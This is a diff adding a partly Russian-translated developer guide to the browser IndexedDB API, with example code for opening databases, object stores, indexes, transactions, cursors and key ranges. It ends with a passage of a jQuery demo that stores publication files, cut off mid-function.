+window.IDBKeyRange = window.IDBKeyRange || window.webkitIDBKeyRange || window.msIDBKeyRange;
+// (Mozilla никогда не создавала префиксов для объектов, поэтому window.mozIDB* не требуется проверять)
+ +

Имейте в виду, что  реализации, в которых всё ещё используются префиксы, могут содержать ошибки, быть неполными или следовать устаревшей спецификации. Поэтому их не рекомендуется использовать в ваших рабочих проектах. Предпочтительнее отказаться от таких браузеров, чем получать от них ошибки:

+ +
if (!window.indexedDB) {
+    window.alert("Ваш браузер не поддерживат стабильную версию IndexedDB. Такие-то функции будут недоступны");
+}
+
+ +

Открытие базы данных

+ +

Как-то так:

+ +
// Открываем базу данных MyTestDatabase
+var request = window.indexedDB.open("MyTestDatabase", 3);
+
+ +

Видите? Открытие базы данных, подобно любым другим операциям, запускается запросом.

+ +

На  самом деле запрос открытия базы данных не приводит к немедленному открытию базы или запуску транзакции. Вызов функции open() вернет объект IDBOpenDBRequest , содержащий результат (если успешно) или ошибку, которую вы можете обработать как событие. Большинство других асинхронных функций IndexedDB делает то же самое - возвращает объект IDBRequest  с результатом или ошибкой. Результат функции open всегда возвращает экземпляр объекта IDBDatabase.

+ +

Второй параметр метода open - это версия базы данных. Версия определяет схему базы данных - хранилище объектов  и их структуру . Если база данных еще не существует, то она создается операцией open, затем срабатывает триггер события onupgradeneeded и после этого  ваш обработчик этого события создает схему базы данных. Если же база данных уже существует, а вы указываете новый номер версии, то сразу же срабатывает триггер события onupgradeneeded, позволяя вам обновить схему базы данных в обработчике. Подробнее об этом см. в Обновление версии базы данных ниже и на странице {{ domxref("IDBFactory.open") }} справочника

+ +
+

Версия базы данных имеет внутреннее представление unsigned long long number (длинное длинное целое без знака), то есть может принимать очень большие целые значения. Имейте в виду также, что нет смысла использовать в качестве версии базы данных значение с плавающей точкой (float), потому что оно будет сконвертировано в ближайшее меньшее целое. В результате неожиданно может не запуститься транзакция или сработать триггер события upgradeneeded. Например, не используйте значение  2.4 как версию базы данных:

+ +
var request = indexedDB.open("MyTestDatabase", 2.4); // не делайте так, потому что версия будет округлена до 2
+
+ +

Установка обработчиков

+ +

Первое, что понадобится сделать практически со всеми запросами, которые вы создаёте - это добавить обработчики событий успеха и ошибки:

+ +
request.onerror = function(event) {
+  // Сделать что-то при ошибке request.errorCode!
+};
+request.onsuccess = function(event) {
+  // Выполнить какой-то код если запрос успешный request.result!
+};
+ +

Какая из двух функций - onsuccess() или onerror() - должна быть вызвана?  Если всё в порядке - то инициируется событие успеха (это событие DOM,  свойство type которого выставлено в "success")  с request в качестве target. Это вызывает запуск  функции onsuccess() объекта request  с событием успеха в качестве аргумента. В противном случае, если возникают какие-то проблемы, то происходит событие ошибки (то есть событие DOM, свойство type которого установлено в  "error") . Это приводит к запуску  функции onerror() с событием ошибки в качестве аргумента.

+ +

IndexedDB API разработан так, чтобы минимизировать необходимость обработки ошибок, поэтому скорее всего вы не встретите много событий ошибки запроса (по крайней мере если вы будете использовать этот API!). Однако при открытии базы данных есть несколько общих условий, которые генерируют события ошибок. Наиболее вероятной проблемой является запрет вашему веб-приложению на создание базы данных, установленный пользователем в браузере. Одной из основных целей разработки IndexedDB - это обеспечение возможности сохранения больших объемов данных для использования офлайн. (Чтобы узнать,  сколько памяти вы можете использовать в разных браузерах, обратитесь к Ограничениям памяти).

+ +

Конечно же, браузеры стремятся не позволить назойливым рекламным сетям или вредоносным сайтам засорять ваш компьютер. Поэтому при первой попытке любого веб-приложения открыть хранилище IndexedDB, браузер запрашивает разрешение пользователя. Пользователь может выбрать - то ли разрешить, то ли запретить доступ. Кроме этого, в приватных режимах браузеров (частный просмотр для Firefox и режим инкогнито для Chrome), IndexedDB полностью запрещена для использования. Так как цель приватных режимов - не оставлять следов, то открытие базы данных невозможно в таких режимах.

+ +

А теперь предположим, что пользователь разрешил вашему запросу создать базу данных и состоялось событие успеха, запустившее обработчик события успеха. Что дальше? Так как ваш запрос был сгенерирован с вызовом метода indexedDB.open(), то request.result   является экземпляром объекта IDBDatabase и вы определенно захотите сохранить его для будущего использования. Ваш код может выглядеть примерно так:

+ +
var db;
+var request = indexedDB.open("MyTestDatabase");
+request.onerror = function(event) {
+  alert("Почему Вы не позволяете моему веб-приложению использовать IndexedDB?!");
+};
+request.onsuccess = function(event) {
+  db = event.target.result;
+};
+
+ +

Обработка ошибок

+ +

Как уже упоминалось выше, события ошибки всплывают. Событие ошибки нацелено (в фазе перехвата) на запрос, который сгенерировал ошибку, затем событие всплывает до уровня транзакции и наконец достигает уровня объекта базы данных. Если вы хотите избежать установки отдельных обработчиков на каждый запрос, то вы можете вместо этого установить один единственный обработчик на объект базы данных, например так:

+ +
db.onerror = function(event) {
+  // все ошибки выводим в alert
+  alert("Database error: " + event.target.errorCode);
+};
+
+ +

Одной из возможных ошибок при открытии базы данных является VER_ERR. Она сигнализирует о том, что версия базы данных, сохраненная на диске, больше, чем версия, которую вы пытаетесь открыть. Такая ошибка должна быть в обязательном порядке обработана обработчиком ошибок. 

+ +

Создание или обновление версии базы данных

+ +

Когда вы создаете новую базу данных или увеличиваете номер версии существующей базы данных (задавая больший номер версии, чем тот номер, который был вами указан при Opening a database) запускается событие onupgradeneeded. В обработчике этого события вы должны создать хранилище объектов, необходимое для этой версии базы данных:

+ +
// Это событие появилось только в самых новых браузерах
+request.onupgradeneeded = function(event) {
+  var db = event.target.result;
+
+  // Создаем хранилище объектов для этой базы данных
+  var objectStore = db.createObjectStore("name", { keyPath: "myKey" });
+};
+ +

Версия числа без знака с длиной long long, может быть очень большим.

+ +
+

Так же вы не можете использовать float, его значение будет округлено до ближайшего целого, со всеми вытекающими из этого ошибками:

+ +
var request = indexedDB.open("MyTestDatabase", 2.4); // Будет округлено до 2
+
+ +

Когда вы увеличиваете номер версии, будет инициировано событие onupgradeneeded. В этот момент БД будет хранить старые объекты. Но для всякого объекта прошлой версии стоит создать новый объект, совместимый с новой версией. Если вам необходимо исправить существующий объект в БД (например, для изменения keyPath), то вы можете удалить объект и создать его вновь с новыми параметрами (помните, что удаление стирает информацию, так что не забывайте сохранять то, что вам нужно).

+ +

WebKit поддержимает текущую версию спецификации в Google Chrome 23 и старше. Так что там нет события indexedDB.open(name, version).onupgradeneeded. Однако, вы можете ознакомиться с инструкцией о том, что делать со старым Webkit.

+ +

Структура базы данных

+ +

Now to structure the database. IndexedDB uses object stores rather than tables, and a single database can contain any number of object stores. Whenever a value is stored in an object store, it is associated with a key. There are several different ways that a key can be supplied depending on whether the object store uses a key path or a key generator.

+ +

The following table shows the different ways the keys are supplied. 

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
Key PathKey GeneratorDescription
NoNoThis object store can hold any kind of value, even primitive values like numbers and strings. You must supply a separate key argument whenever you want to add a new value.
YesNoThis object store can only hold JavaScript objects. The objects must have a property with the same name as the key path.
NoYesThis object store can hold any kind of value. The key is generated for you automatically, or you can supply a separate key argument if you want to use a specific key.
YesYesThis object store can only hold JavaScript objects. Usually a key is generated and the value of the generated key is stored in the object in a property with the same name as the key path. However, if such a property already exists, the value of that property is used as key rather than generating a new key.
+ +

You can also create indices on any object store, provided the object store holds objects, not primitives. An index lets you look up the values stored in an object store using the value of a property of the stored object, rather than the object's key.

+ +

Additionally, indexes have the ability to enforce simple constraints on the stored data. By setting the unique flag when creating the index, the index ensures that no two objects are stored with both having the same value for the index's key path. So, for example, if you have an object store which holds a set of people, and you want to ensure that no two people have the same email address, you can use an index with the unique flag set to enforce this.

+ +

That may sound confusing, but this simple example should illustrate the concepts:

+ +
// This is what our customer data looks like.
+const customerData = [
+  { ssn: "444-44-4444", name: "Bill", age: 35, email: "bill@company.com" },
+  { ssn: "555-55-5555", name: "Donna", age: 32, email: "donna@home.org" }
+];
+const dbName = "the_name";
+
+var request = indexedDB.open(dbName, 2);
+
+request.onerror = function(event) {
+  // Handle errors.
+};
+request.onupgradeneeded = function(event) {
+  var db = event.target.result;
+
+  // Create an objectStore to hold information about our customers. We're
+  // going to use "ssn" as our key path because it's guaranteed to be
+  // unique.
+  var objectStore = db.createObjectStore("customers", { keyPath: "ssn" });
+
+  // Create an index to search customers by name. We may have duplicates
+  // so we can't use a unique index.
+  objectStore.createIndex("name", "name", { unique: false });
+
+  // Create an index to search customers by email. We want to ensure that
+  // no two customers have the same email, so use a unique index.
+  objectStore.createIndex("email", "email", { unique: true });
+
+  // Store values in the newly created objectStore.
+  for (var i in customerData) {
+    objectStore.add(customerData[i]);
+  }
+};
+
+ +

As mentioned previously, onupgradeneeded is the only place where you can alter the structure of the database. In it, you can create and delete object stores and build and remove indices.

+ +
Object stores are created with a single call to createObjectStore(). The method takes a name of the store, and a parameter object. Even though the parameter object is optional, it is very important, because it lets you define important optional properties and refine the type of object store you want to create. In our case, we've asked for an object store named "customers" and  defined a keyPath that is the property that makes an individual object in the store unique. That property in this example is "ssn" since a social security number is guaranteed to be unique. "ssn" must be present on every object that is stored in the objectStore. 
+ +

We've also asked for an index named "name" that looks at the name property of the stored objects. As with createObjectStore(), createIndex() takes an optional options object that refines the type of  index that you want to create. Adding objects that don't have a name property still succeeds, but the object won't appear in the "name" index.

+ +

We can now retrieve the stored customer objects using their ssn from the object store directly, or using their name by using the index. To learn how this is done, see the section on using an index.

+ +

Adding and removing data

+ +

Before you can do anything with your new database, you need to start a transaction. Transactions come from the database object, and you have to specify which object stores you want the transaction to span. Also, you need to decide if you're going to make changes to the database or if you just need to read from it.  Although transactions have three modes (read-only, read/write, and versionchange), you're better off using a read-only transaction when you can, because they can run concurrently

+ +

Adding data to the database

+ +

If you've just created a database, then you probably want to write to it. Here's what that looks like:

+ +
var transaction = db.transaction(["customers"], "readwrite");
+// Note: Older experimental implementations use the deprecated constant IDBTransaction.READ_WRITE instead of "readwrite".
+// In case you want to support such an implementation, you can just write:
+// var transaction = db.transaction(["customers"], IDBTransaction.READ_WRITE);
+ +

The transaction() function takes two arguments (though one is optional) and returns a transaction object. The first argument is a list of object stores that the transaction will span. You can pass an empty array if you want the transaction to span all object stores, but don't do it because the spec says an empty array should generate an InvalidAccessError. If you don't specify anything for the second argument, you get a read-only transaction. Since you want to write to it here you need to pass the "readwrite" flag.

+ +

Now that you have a transaction you need to understand its lifetime. Transactions are tied very closely to the event loop. If you make a transaction and return to the event loop without using it then the transaction will become inactive. The only way to keep the transaction active is to make a request on it. When the request is finished you'll get a DOM event and, assuming that the request succeeded, you'll have another opportunity to extend the transaction during that callback. If you return to the event loop without extending the transaction then it will become inactive, and so on. As long as there are pending requests the transaction remains active. Transaction lifetimes are really very simple but it might take a little time to get used to. A few more examples will help, too. If you start seeing TRANSACTION_INACTIVE_ERR error codes then you've messed something up.

+ +

Transactions can receive DOM events of three different types: error, abort, and complete. We've talked about the way that error events bubble, so a transaction  receives error events from any requests that are generated from it. A more subtle point here is that the default behavior of an error is to abort the transaction in which it occurred. Unless you handle the error by calling preventDefault() on the error event, the entire transaction is rolled back. This design forces you to  think about and handle errors, but you can always add a catchall error handler to the database if fine grained error handling is too cumbersome. If you don't handle an error event or if you call abort() on the transaction, then the transaction is rolled back and an abort event is fired on the transaction. Otherwise, after all pending requests have completed, you'll get a complete event. If you're doing lots of database operations, then tracking the transaction rather than individual requests can certainly aide your sanity.

+ +

Now that you have a transaction, you'll need to get the object store from it. Transactions only let you have an object store that you specified when creating the transaction. Then you can add all the data you need.

+ +
// Do something when all the data is added to the database.
+transaction.oncomplete = function(event) {
+  alert("All done!");
+};
+
+transaction.onerror = function(event) {
+  // Don't forget to handle errors!
+};
+
+var objectStore = transaction.objectStore("customers");
+for (var i in customerData) {
+  var request = objectStore.add(customerData[i]);
+  request.onsuccess = function(event) {
+    // event.target.result == customerData[i].ssn;
+  };
+}
+ +

The result of a request generated from a call to add() is the key of the value that was added. So in this case, it should equal the ssn property of the object that was added, since the object store uses the ssn property for the key path. Note that the add() function requires that no object already be in the database with the same key. If you're trying to modify an existing entry, or you don't care if one exists already, use the put() function.

+ +

Removing data from the database

+ +

Removing data is very similar:

+ +
var request = db.transaction(["customers"], "readwrite")
+                .objectStore("customers")
+                .delete("444-44-4444");
+request.onsuccess = function(event) {
+  // It's gone!
+};
+ +

Getting data from the database

+ +

Now that the database has some info in it, you can retrieve it in several ways. First, the simple get(). You need to provide the key to retrieve the value, like so:

+ +
var transaction = db.transaction(["customers"]);
+var objectStore = transaction.objectStore("customers");
+var request = objectStore.get("444-44-4444");
+request.onerror = function(event) {
+  // Handle errors!
+};
+request.onsuccess = function(event) {
+  // Do something with the request.result!
+  alert("Name for SSN 444-44-4444 is " + request.result.name);
+};
+ +

That's a lot of code for a "simple" retrieval. Here's how you can shorten it up a bit, assuming that you handle errors at the database level:

+ +
db.transaction("customers").objectStore("customers").get("444-44-4444").onsuccess = function(event) {
+  alert("Name for SSN 444-44-4444 is " + event.target.result.name);
+};
+ +

See how this works? Since there's only one object store, you can avoid passing a list of object stores you need in your transaction and just pass the name as a string. Also, you're only reading from the database, so you don't need a "readwrite" transaction. Calling transaction() with no mode specified gives you a "readonly" transaction. Another subtlety here is that you don't actually save the request object to a variable. Since the DOM event has the request as its target you can use the event to get to the result property. Easy, right?!

+ +

Using a cursor

+ +

Using get() requires that you know which key you want to retrieve. If you want to step through all the values in your object store, then you can use a cursor. Here's what it looks like:

+ +
var objectStore = db.transaction("customers").objectStore("customers");
+
+objectStore.openCursor().onsuccess = function(event) {
+  var cursor = event.target.result;
+  if (cursor) {
+    alert("Name for SSN " + cursor.key + " is " + cursor.value.name);
+    cursor.continue();
+  }
+  else {
+    alert("No more entries!");
+  }
+};
+ +

The openCursor() function takes several arguments. First, you can limit the range of items that are retrieved by using a key range object that we'll get to in a minute. Second, you can specify the direction that you want to iterate. In the above example, we're iterating over all objects in ascending order. The success callback for cursors is a little special. The cursor object itself is the result of the request (above we're using the shorthand, so it's event.target.result). Then the actual key and value can be found on the key and value properties of the cursor object. If you want to keep going, then you have to call continue() on the cursor. When you've reached the end of the data (or if there were no entries that matched your openCursor() request) you still get a success callback, but the result property is undefined.

+ +

One common pattern with cursors is to retrieve all objects in an object store and add them to an array, like this:

+ +
var customers = [];
+
+objectStore.openCursor().onsuccess = function(event) {
+  var cursor = event.target.result;
+  if (cursor) {
+    customers.push(cursor.value);
+    cursor.continue();
+  }
+  else {
+    alert("Got all customers: " + customers);
+  }
+};
+ +
Warning: The following function is not part of the IndexedDB standard!
+ +

Mozilla has also implemented getAll() to handle this case. It isn't part of the IndexedDB standard, so it may disappear in the future. We've included it because we think it's useful. The following code does precisely the same thing as above:

+ +
objectStore.getAll().onsuccess = function(event) {
+  alert("Got all customers: " + event.target.result);
+};
+ +

There is a performance cost associated with looking at the value property of a cursor, because the object is created lazily. When you use getAll(), Gecko must create all the objects at once. If you're just interested in looking at each of the keys, for instance, it is much more efficient to use a cursor than to use getAll(). If you're trying to get an array of all the objects in an object store, though, use getAll().

+ +

Using an index

+ +

Storing customer data using the SSN as a key is logical since the SSN uniquely identifies an individual. (Whether this is a good idea for privacy is a different question, outside the scope of this article.) If you need to look up a customer by name, however, you'll need to iterate over every SSN in the database until you find the right one. Searching in this fashion would be very slow, so instead you can use an index.

+ +
var index = objectStore.index("name");
+index.get("Donna").onsuccess = function(event) {
+  alert("Donna's SSN is " + event.target.result.ssn);
+};
+ +

The "name" cursor isn't unique, so there could be more than one entry with the name set to "Donna". In that case you always get the one with the lowest key value.

+ +

If you need to access all the entries with a given name you can use a cursor. You can open two different types of cursors on indexes. A normal cursor maps the index property to the object in the object store. A key cursor maps the index property to the key used to store the object in the object store. The differences are illustrated here:

+ +
index.openCursor().onsuccess = function(event) {
+  var cursor = event.target.result;
+  if (cursor) {
+    // cursor.key is a name, like "Bill", and cursor.value is the whole object.
+    alert("Name: " + cursor.key + ", SSN: " + cursor.value.ssn + ", email: " + cursor.value.email);
+    cursor.continue();
+  }
+};
+
+index.openKeyCursor().onsuccess = function(event) {
+  var cursor = event.target.result;
+  if (cursor) {
+    // cursor.key is a name, like "Bill", and cursor.value is the SSN.
+    // No way to directly get the rest of the stored object.
+    alert("Name: " + cursor.key + ", SSN: " + cursor.value);
+    cursor.continue();
+  }
+};
+ +

Specifying the range and direction of cursors

+ +

If you would like to limit the range of values you see in a cursor, you can use a key range object and pass it as the first argument to openCursor() or openKeyCursor(). You can make a key range that only allows a single key, or one the has a lower or upper bound, or one that has both a lower and upper bound. The bound may be "closed" (i.e., the key range includes the given value) or "open" (i.e., the key range does not include the given value). Here's how it works:

+ +
// Only match "Donna"
+var singleKeyRange = IDBKeyRange.only("Donna");
+
+// Match anything past "Bill", including "Bill"
+var lowerBoundKeyRange = IDBKeyRange.lowerBound("Bill");
+
+// Match anything past "Bill", but don't include "Bill"
+var lowerBoundOpenKeyRange = IDBKeyRange.lowerBound("Bill", true);
+
+// Match anything up to, but not including, "Donna"
+var upperBoundOpenKeyRange = IDBKeyRange.upperBound("Donna", true);
+
+//Match anything between "Bill" and "Donna", but not including "Donna"
+var boundKeyRange = IDBKeyRange.bound("Bill", "Donna", false, true);
+
+index.openCursor(boundKeyRange).onsuccess = function(event) {
+  var cursor = event.target.result;
+  if (cursor) {
+    // Do something with the matches.
+    cursor.continue();
+  }
+};
+ +

Sometimes you may want to iterate in descending order rather than in ascending order (the default direction for all cursors). Switching direction is accomplished by passing prev to the openCursor() function:

+ +
objectStore.openCursor(null, IDBCursor.prev).onsuccess = function(event) {
+  var cursor = event.target.result;
+  if (cursor) {
+    // Do something with the entries.
+    cursor.continue();
+  }
+};
+ +

Since the "name" index isn't unique, there might be multiple entries where name is the same. Note that such a situation cannot occur with object stores since the key must always be unique. If you wish to filter out duplicates during cursor iteration over indexes, you can pass nextunique (or prevunique if you're going backwards) as the direction parameter. When nextunique or prevunique is used, the entry with the lowest key is always the one returned.

+ +
index.openKeyCursor(null, IDBCursor.nextunique).onsuccess = function(event) {
+  var cursor = event.target.result;
+  if (cursor) {
+    // Do something with the entries.
+    cursor.continue();
+  }
+};
+ +

Version changes while a web app is open in another tab

+ +

When your web app changes in such a way that a version change is required for your database, you need to consider what happens if the user has the old version of your app open in one tab and then loads the new version of your app in another. When you call open() with a greater version than the actual version of the database, all other open databases must explicitly acknowledge the request before you can start making changes to the database. Here's how it works:

+ +
var openReq = mozIndexedDB.open("MyTestDatabase", 2);
+
+openReq.onblocked = function(event) {
+  // If some other tab is loaded with the database, then it needs to be closed
+  // before we can proceed.
+  alert("Please close all other tabs with this site open!");
+};
+
+openReq.onupgradeneeded = function(event) {
+  // All other databases have been closed. Set everything up.
+  db.createObjectStore(/* ... */);
+  useDatabase(db);
+}
+
+openReq.onsuccess = function(event) {
+  var db = event.target.result;
+  useDatabase(db);
+  return;
+}
+
+function useDatabase(db) {
+  // Make sure to add a handler to be notified if another page requests a version
+  // change. We must close the database. This allows the other page to upgrade the database.
+  // If you don't do this then the upgrade won't happen until the user close the tab.
+  db.onversionchange = function(event) {
+    db.close();
+    alert("A new version of this page is ready. Please reload!");
+  };
+
+  // Do stuff with the database.
+}
+
+ +

Security

+ +

IndexedDB uses the same-origin principle, which means that it ties the store to the origin of the site that creates it (typically, this is the site domain or subdomain), so it cannot be accessed by any other origin.

+ +

It's important to note that IndexedDB doesn't work for content loaded into a frame from another site (either {{ HTMLElement("frame") }} or {{ HTMLElement("iframe") }}. This is a security and privacy measure and can be considered analogous the blocking of 3rd-party cookies.  For more details, see {{ bug(595307) }}.

+ +

Warning About Browser Shutdown

+ +

When the browser shuts down (e.g., when the user selects Exit or clicks the Close button),  any pending IndexedDB transactions are (silently) aborted -- they will not complete, and they will not trigger the error handler.  Since the user can exit the browser at any time, this means that you cannot rely upon any particular transaction to complete or to know that it did not complete.  There are several implications of this behavior.

+ +

First, you should take care to always leave your database in a consistent state at the end of every transaction.  For example, suppose that you are using IndexedDB to store a list of items that you allow the user to edit.  You save the list after the edit by clearing the object store and then writing out the new list.  If you clear the object store in one transaction and write the new list in another transaction, there is a danger that the browser will close after the clear but before the write, leaving you with an empty database.  To avoid this, you should combine the clear and the write into a single transaction. 

+ +

Second, you should never tie database transactions to unload events.  If the unload event is triggered by the browser closing, any transactions created in the unload event handler will never complete.  An intuitive approach to maintaining some information across browser sessions is to read it from the database when the browser (or a particular page) is opened, update it as the user interacts with the browser, and then save it to the database when the browser (or page) closes.  However, this will not work.  The database transactions will be created in the unload event handler, but because they are asynchronous they will be aborted before they can execute.

+ +

In fact, there is no way to guarantee that IndexedDB transactions will complete, even with normal browser shutdown.  See {{ bug(870645) }}.

+ +

Full IndexedDB example

+ +

HTML Content

+ +
<script type="text/javascript" src="https://ajax.googleapis.com/ajax/libs/jquery/1.8.3/jquery.min.js"></script>
+
+    <h1>IndexedDB Demo: storing blobs, e-publication example</h1>
+    <div class="note">
+      <p>
+        Works and tested with:
+      </p>
+      <div id="compat">
+      </div>
+    </div>
+
+    <div id="msg">
+    </div>
+
+    <form id="register-form">
+      <table>
+        <tbody>
+          <tr>
+            <td>
+              <label for="pub-title" class="required">
+                Title:
+              </label>
+            </td>
+            <td>
+              <input type="text" id="pub-title" name="pub-title" />
+            </td>
+          </tr>
+          <tr>
+            <td>
+              <label for="pub-biblioid" class="required">
+                Bibliographic ID:<br/>
+                <span class="note">(ISBN, ISSN, etc.)</span>
+              </label>
+            </td>
+            <td>
+              <input type="text" id="pub-biblioid" name="pub-biblioid"/>
+            </td>
+          </tr>
+          <tr>
+            <td>
+              <label for="pub-year">
+                Year:
+              </label>
+            </td>
+            <td>
+              <input type="number" id="pub-year" name="pub-year" />
+            </td>
+          </tr>
+        </tbody>
+        <tbody>
+          <tr>
+            <td>
+              <label for="pub-file">
+                File image:
+              </label>
+            </td>
+            <td>
+              <input type="file" id="pub-file"/>
+            </td>
+          </tr>
+          <tr>
+            <td>
+              <label for="pub-file-url">
+                Online-file image URL:<br/>
+                <span class="note">(same origin URL)</span>
+              </label>
+            </td>
+            <td>
+              <input type="text" id="pub-file-url" name="pub-file-url"/>
+            </td>
+          </tr>
+        </tbody>
+      </table>
+
+      <div class="button-pane">
+        <input type="button" id="add-button" value="Add Publication" />
+        <input type="reset" id="register-form-reset"/>
+      </div>
+    </form>
+
+    <form id="delete-form">
+      <table>
+        <tbody>
+          <tr>
+            <td>
+              <label for="pub-biblioid-to-delete">
+                Bibliographic ID:<br/>
+                <span class="note">(ISBN, ISSN, etc.)</span>
+              </label>
+            </td>
+            <td>
+              <input type="text" id="pub-biblioid-to-delete"
+                     name="pub-biblioid-to-delete" />
+            </td>
+          </tr>
+          <tr>
+            <td>
+              <label for="key-to-delete">
+                Key:<br/>
+                <span class="note">(for example 1, 2, 3, etc.)</span>
+              </label>
+            </td>
+            <td>
+              <input type="text" id="key-to-delete"
+                     name="key-to-delete" />
+            </td>
+          </tr>
+        </tbody>
+      </table>
+      <div class="button-pane">
+        <input type="button" id="delete-button" value="Delete Publication" />
+        <input type="button" id="clear-store-button"
+               value="Clear the whole store" class="destructive" />
+      </div>
+    </form>
+
+    <form id="search-form">
+      <div class="button-pane">
+        <input type="button" id="search-list-button"
+               value="List database content" />
+      </div>
+    </form>
+
+    <div>
+      <div id="pub-msg">
+      </div>
+      <div id="pub-viewer">
+      </div>
+      <ul id="pub-list">
+      </ul>
+    </div>
+
+ +

CSS Content

+ +
body {
+  font-size: 0.8em;
+  font-family: Sans-Serif;
+}
+
+form {
+  background-color: #cccccc;
+  border-radius: 0.3em;
+  display: inline-block;
+  margin-bottom: 0.5em;
+  padding: 1em;
+}
+
+table {
+  border-collapse: collapse;
+}
+
+input {
+  padding: 0.3em;
+  border-color: #cccccc;
+  border-radius: 0.3em;
+}
+
+.required:after {
+  content: "*";
+  color: red;
+}
+
+.button-pane {
+  margin-top: 1em;
+}
+
+#pub-viewer {
+  float: right;
+  width: 48%;
+  height: 20em;
+  border: solid #d092ff 0.1em;
+}
+#pub-viewer iframe {
+  width: 100%;
+  height: 100%;
+}
+
+#pub-list {
+  width: 46%;
+  background-color: #eeeeee;
+  border-radius: 0.3em;
+}
+#pub-list li {
+  padding-top: 0.5em;
+  padding-bottom: 0.5em;
+  padding-right: 0.5em;
+}
+
+#msg {
+  margin-bottom: 1em;
+}
+
+.action-success {
+  padding: 0.5em;
+  color: #00d21e;
+  background-color: #eeeeee;
+  border-radius: 0.2em;
+}
+
+.action-failure {
+  padding: 0.5em;
+  color: #ff1408;
+  background-color: #eeeeee;
+  border-radius: 0.2em;
+}
+
+.note {
+  font-size: smaller;
+}
+
+.destructive {
+  background-color: orange;
+}
+.destructive:hover {
+  background-color: #ff8000;
+}
+.destructive:active {
+  background-color: red;
+}
+
+ +

 

+ +

JavaScript Content

+ +
(function () {
+  var COMPAT_ENVS = [
+    ['Firefox', ">= 16.0"],
+    ['Google Chrome',
+     ">= 24.0 (you may need to get Google Chrome Canary), NO Blob storage support"]
+  ];
+  var compat = $('#compat');
+  compat.empty();
+  compat.append('<ul id="compat-list"></ul>');
+  COMPAT_ENVS.forEach(function(val, idx, array) {
+    $('#compat-list').append('<li>' + val[0] + ': ' + val[1] + '</li>');
+  });
+
+  const DB_NAME = 'mdn-demo-indexeddb-epublications';
+  const DB_VERSION = 1; // Use a long long for this value (don't use a float)
+  const DB_STORE_NAME = 'publications';
+
+  var db;
+
+  // Used to keep track of which view is displayed to avoid to uselessly reload it
+  var current_view_pub_key;
+
+  function openDb() {
+    console.log("openDb ...");
+    var req = indexedDB.open(DB_NAME, DB_VERSION);
+    req.onsuccess = function (evt) {
+      // Better use "this" than "req" to get the result to avoid problems with
+      // garbage collection.
+      // db = req.result;
+      db = this.result;
+      console.log("openDb DONE");
+    };
+    req.onerror = function (evt) {
+      console.error("openDb:", evt.target.errorCode);
+    };
+
+    req.onupgradeneeded = function (evt) {
+     console.log("openDb.onupgradeneeded");
+     var thisDB = evt.target.result;
+     if (!thisDB.objectStoreNames.contains(DB_STORE_NAME)) {
+      var store = thisDB.createObjectStore(
+          DB_STORE_NAME, { keyPath: 'id', autoIncrement: true });
+
+        store.createIndex('biblioid', 'biblioid', { unique: true });
+        store.createIndex('title', 'title', { unique: false });
+        store.createIndex('year', 'year', { unique: false });
+      }
+    };
+  }
+
+  /**
+   * @param {string} store_name
+   * @param {string} mode either "readonly" or "readwrite"
+   */
+  function getObjectStore(store_name, mode) {
+    var tx = db.transaction(store_name, mode);
+    return tx.objectStore(store_name);
+  }
+
+  function clearObjectStore(store_name) {
+    var store = getObjectStore(DB_STORE_NAME, 'readwrite');
+    var req = store.clear();
+    req.onsuccess = function(evt) {
+      displayActionSuccess("Store cleared");
+      displayPubList(store);
+    };
+    req.onerror = function (evt) {
+      console.error("clearObjectStore:", evt.target.errorCode);
+      displayActionFailure(this.error);
+    };
+  }
+
+  function getBlob(key, store, success_callback) {
+    var req = store.get(key);
+    req.onsuccess = function(evt) {
+      var value = evt.target.result;
+      if (value)
+        success_callback(value.blob);
+    };
+  }
+
+  /**
+   * @param {IDBObjectStore=} store
+   */
+  function displayPubList(store) {
+    console.log("displayPubList");
+
+    if (typeof store == 'undefined')
+      store = getObjectStore(DB_STORE_NAME, 'readonly');
+
+    var pub_msg = $('#pub-msg');
+    pub_msg.empty();
+    var pub_list = $('#pub-list');
+    pub_list.empty();
+    // Reseting the iframe so that it doesn't display previous content
+    newViewerFrame();
+
+    var req;
+    req = store.count();
+    // Requests are executed in the order in which they were made against the
+    // transaction, and their results are returned in the same order.
+    // Thus the count text below will be displayed before the actual pub list
+    // (not that it is algorithmically important in this case).
+    req.onsuccess = function(evt) {
+      pub_msg.append('<p>There are <strong>' + evt.target.result +
+                     '</strong> record(s) in the object store.</p>');
+    };
+    req.onerror = function(evt) {
+      console.error("add error", this.error);
+      displayActionFailure(this.error);
+    };
+
+    var i = 0;
+    req = store.openCursor();
+    req.onsuccess = function(evt) {
+      var cursor = evt.target.result;
+
+      // If the cursor is pointing at something, ask for the data
+      if (cursor) {
+        console.log("displayPubList cursor:", cursor);
+        req = store.get(cursor.key);
+        req.onsuccess = function (evt) {
+          var value = evt.target.result;
+          var list_item = $('<li>' +
+                            '[' + cursor.key + '] ' +
+                            '(biblioid: ' + value.biblioid + ') ' +
+                            value.title +
+                            '</li>');
+          if (value.year != null)
+            list_item.append(' - ' + value.year);
+
+          if (value.hasOwnProperty('blob') &&
+              typeof value.blob != 'undefined') {
+            var link = $('<a href="' + cursor.key + '">File</a>');
+            link.on('click', function() { return false; });
+            link.on('mouseenter', function(evt) {
+                      setInViewer(evt.target.getAttribute('href')); });
+            list_item.append(' / ');
+            list_item.append(link);
+          } else {
+            list_item.append(" / No attached file");
+          }
+          pub_list.append(list_item);
+        };
+
+        // Move on to the next object in store
+        cursor.continue();
+
+        // This counter serves only to create distinct ids
+        i++;
+      } else {
+        console.log("No more entries");
+      }
+    };
+  }
+
+  function newViewerFrame() {
+    var viewer = $('#pub-viewer');
+    viewer.empty();
+    var iframe = $('<iframe />');
+    viewer.append(iframe);
+    return iframe;
+  }
+
+  function setInViewer(key) {
+    console.log("setInViewer:", arguments);
+    key = Number(key);
+    if (key == current_view_pub_key)
+      return;
+
+    current_view_pub_key = key;
+
+    var store = getObjectStore(DB_STORE_NAME, 'readonly');
+    getBlob(key, store, function(blob) {
+      console.log("setInViewer blob:", blob);
+      var iframe = newViewerFrame();
+
+      // It is not possible to set a direct link to the
+      // blob to provide a mean to directly download it.
+      if (blob.type == 'text/html') {
+        var reader = new FileReader();
+        reader.onload = (function(evt) {
+          var html = evt.target.result;
+          iframe.load(function() {
+            $(this).contents().find('html').html(html);
+          });
+        });
+        reader.readAsText(blob);
+      } else if (blob.type.indexOf('image/') == 0) {
+        iframe.load(function() {
+          var img_id = 'image-' + key;
+          var img = $('<img id="' + img_id + '"/>');
+          $(this).contents().find('body').html(img);
+          var obj_url = window.URL.createObjectURL(blob);
